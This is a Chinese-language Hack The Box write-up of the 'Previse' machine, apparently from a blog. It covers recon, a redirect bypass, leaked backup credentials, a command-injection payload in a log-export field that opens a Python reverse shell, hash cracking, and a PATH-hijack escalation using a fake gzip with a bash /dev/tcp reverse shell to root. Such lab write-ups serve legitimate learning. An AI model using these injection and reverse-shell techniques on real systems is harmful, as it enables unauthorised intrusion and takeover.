[Hack The Box] Previse – writeup

信息收集

使用nmap進行掃描:

發現了80port 和 22port,先進去80

nmap -sC -sV 10.10.11.104

這邊出現一個可以登入的網頁,先用fuff掃描看看有沒有其他目錄

ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt -e php,html,txt -mc 200,302,301 -t 100 -u http://10.10.11.104/FUZZ

直接訪問所有頁面都會跳轉回去首頁,使用burpsuite來試試看

因為這邊會302導向到首頁去,所以要Response to this request,把302改成200就可以順利進入accounts.php頁面

這邊先註冊一個使用者名稱,並且登入看看。

到files裡面有看到 siteback.zip 看起來是站點備份檔案…?
下載打開之後,在logs.php和config.php裡面發現一些東西

1.config.php 裡面有 DB 的帳號密碼。

 

2.logs.php 有使用到exec()函數
簡單來說這個函數可以透過php來執行系統命令,這又稱為RCE(Remote Command/Code Execute)

漏洞利用

MANAGEMENT MENU > LOG DATA > SUBMIT

delim=comma;python3+-c+'import+os,pty,socket%3bs%3dsocket.socket()%3bs.connect(("自己的IP",4444)) %3b[os.dup2(s.fileno(),f)for+f+in(0,1,2)]%3bpty.spawn("/bin/bash")'
因為這邊的paylod是屬於reverse shell,所以要記得填上自己的機器IP。
nc -nvlp 4444

輸入id,出現uid=33(www-data) gid=33(www-data) groups=33(www-data)。
到目前為止已經成功連線進靶機裡面了,接下來要使用剛剛取得的DB帳密來進行下一步攻擊。

登入mysql

mysql -u root -p 
Enter password: mySQL_p@ssw0rd!:)
show databases;
use previse;
show tables;
select * from accounts;

 

 

john破解密碼,因為這邊我已經跑過了,直接使用 –show 就可以查看過去的紀錄

john -format=md5crypt-long --wordlist=/usr/share/wordlists/rockyou.txt pw


得到了帳號密碼,使用ssh進行登入。

username = m4lwhere
password = ilovecody112235!


到目前為止已經成功拿到一般使用者權限了,最後一個步驟”提權/Privilege Escalation”。

提權

先使用suod -l 來看看m4lwhere用戶的sudo權限。
這個檔案當中直接引入了二進制文件,這可能會有存在path injection漏洞
這邊要創建一份惡意檔案讓系統使用sudo執行,進而取得sudo權限

m4lwhere@previse:~$ cd /tmp
m4lwhere@previse:/tmp$ ls
systemd-private-d085308c77194968bd2248c5047e9e7d-apache2.service-SHI4Vf
systemd-private-d085308c77194968bd2248c5047e9e7d-systemd-resolved.service-c4hkjA
systemd-private-d085308c77194968bd2248c5047e9e7d-systemd-timesyncd.service-oovQQq
vmware-root_904-2697008433
m4lwhere@previse:/tmp$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
m4lwhere@previse:/tmp$ vim gzip
m4lwhere@previse:/tmp$ cat gzip
#!/bin/bash
bash -i >& /dev/tcp/自己的IP/8888 0>&1
m4lwhere@previse:/tmp$ chmod +x gzip 
m4lwhere@previse:/tmp$ export PATH=/tmp:$PATH
m4lwhere@previse:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
m4lwhere@previse:/tmp$ sudo /opt/scripts/access_backup.sh

reverse shell:

┌──(root💀kali)-[~]
└─# nc -nvlp 8888
listening on [any] 8888 ...
connect to [10.10.17.216] from (UNKNOWN) [10.10.11.104] 51322
root@previse:/tmp# id
id
uid=0(root) gid=0(root) groups=0(root)
root@previse:/tmp# whoami
whoami
root
root@previse:~# cd /root
cd /root
root@previse:/root# ls
ls
root.txt
root@previse:/root# cat root.txt
cat root.txt
************************
root@previse:/root#

 

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *